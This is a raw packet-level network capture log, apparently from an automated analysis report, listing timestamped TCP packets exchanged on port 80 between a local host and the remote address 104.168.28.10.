Apr 15, 2025 11:33:47.694365978 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694375038 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694381952 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694399118 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694410086 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694415092 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694431067 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694444895 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694461107 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694470882 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694479942 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694485903 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694497108 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694504976 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694511890 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694529057 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694539070 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694545031 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694561958 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694571018 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694578886 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694595098 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694610119 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694611073 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694626093 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694638014 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694641113 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694658041 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694667101 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694674969 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694689989 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694703102 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694705963 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694722891 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694736958 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694740057 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694767952 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694773912 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694785118 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694798946 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694813967 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694818974 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694829941 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694839954 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694845915 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694864035 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694879055 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694879055 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694894075 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694905043 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694912910 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694928885 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694937944 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694946051 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694961071 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694976091 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.694977999 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.694993973 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695012093 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695014000 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695030928 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695044994 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695049047 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695065022 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695080996 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695086002 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695096970 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695113897 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695120096 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695128918 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695141077 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695147038 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695162058 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695178032 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695178032 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695194006 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695209980 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695209980 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695226908 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695240021 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695245028 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695261002 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695278883 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695290089 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695296049 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695308924 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695312023 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695328951 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695350885 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695360899 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695375919 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695384026 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695384979 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695390940 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695415974 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695446014 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.695522070 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695703030 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.695744991 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696283102 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696300030 CEST	80	49700	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696315050 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696331024 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696346045 CEST	49700	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696346998 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696365118 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696379900 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696384907 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696396112 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696412086 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696412086 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696434975 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696444988 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696491003 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696594954 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696611881 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696626902 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696641922 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696652889 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696657896 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696676016 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696685076 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696692944 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696710110 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696727991 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696738958 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696752071 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696754932 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696770906 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696788073 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696804047 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696820974 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696820974 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696835995 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696846008 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696852922 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696867943 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696876049 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696885109 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696902990 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696906090 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696928978 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696942091 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696947098 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696960926 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696978092 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.696990967 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.696993113 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697010994 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697020054 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.697026968 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697042942 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697043896 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.697058916 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697076082 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697079897 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.697089911 CEST	80	49709	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697105885 CEST	80	49699	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697105885 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.697122097 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697139025 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697144032 CEST	49709	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.697155952 CEST	80	49703	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.697182894 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.699060917 CEST	49703	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.699306965 CEST	49699	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753062010 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753124952 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753159046 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753165960 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753197908 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753236055 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753242970 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753273010 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753309011 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753310919 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753413916 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753457069 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753540993 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753576994 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753611088 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753626108 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753647089 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753681898 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753688097 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753716946 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753750086 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753756046 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753784895 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753818989 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753823996 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753856897 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753891945 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753905058 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753928900 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753967047 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.753973961 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.753999949 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754031897 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754043102 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754066944 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754100084 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754105091 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754133940 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754168987 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754179955 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754219055 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754252911 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754262924 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754287004 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754321098 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754333019 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754365921 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754400969 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754406929 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754434109 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754468918 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754476070 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754518032 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754550934 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754558086 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754585028 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754621983 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754628897 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754656076 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754688978 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754708052 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754723072 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754755020 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754784107 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754789114 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754823923 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754834890 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754857063 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754892111 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754898071 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754925966 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754957914 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.754976988 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.754991055 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755027056 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755028009 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755063057 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755095959 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755115032 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755130053 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755168915 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755168915 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755203962 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755239010 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755254984 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755271912 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755305052 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755316973 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755337000 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755373001 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755389929 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755405903 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755439997 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755458117 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755475044 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755513906 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755527973 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755548954 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755589008 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755595922 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755599022 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755635977 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755651951 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755672932 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755707979 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755712986 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755743027 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755776882 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755789042 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755810976 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755842924 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755858898 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755877972 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755913019 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755918026 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755948067 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755986929 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.755992889 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.755996943 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756031990 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756045103 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756066084 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756099939 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756117105 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756141901 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756154060 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756165981 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756197929 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756198883 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756212950 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756234884 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756280899 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756293058 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756328106 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756364107 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756381989 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756397963 CEST	80	49706	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756429911 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756449938 CEST	49706	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756468058 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756501913 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756513119 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756536961 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756571054 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756576061 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756604910 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756638050 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756654978 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756670952 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756705999 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756717920 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756738901 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756772995 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756809950 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756809950 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756844997 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756875992 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756877899 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756911993 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756922007 CEST	49718	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.756944895 CEST	80	49715	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756978035 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.756984949 CEST	49715	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757014990 CEST	80	49712	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757049084 CEST	80	49718	104.168.28.10	192.168.2.5
Apr 15, 2025 11:33:47.757064104 CEST	49712	80	192.168.2.5	104.168.28.10
Apr 15, 2025 11:33:47.757086039 CEST	80	49718	104.168.28.10	192.168.2.5
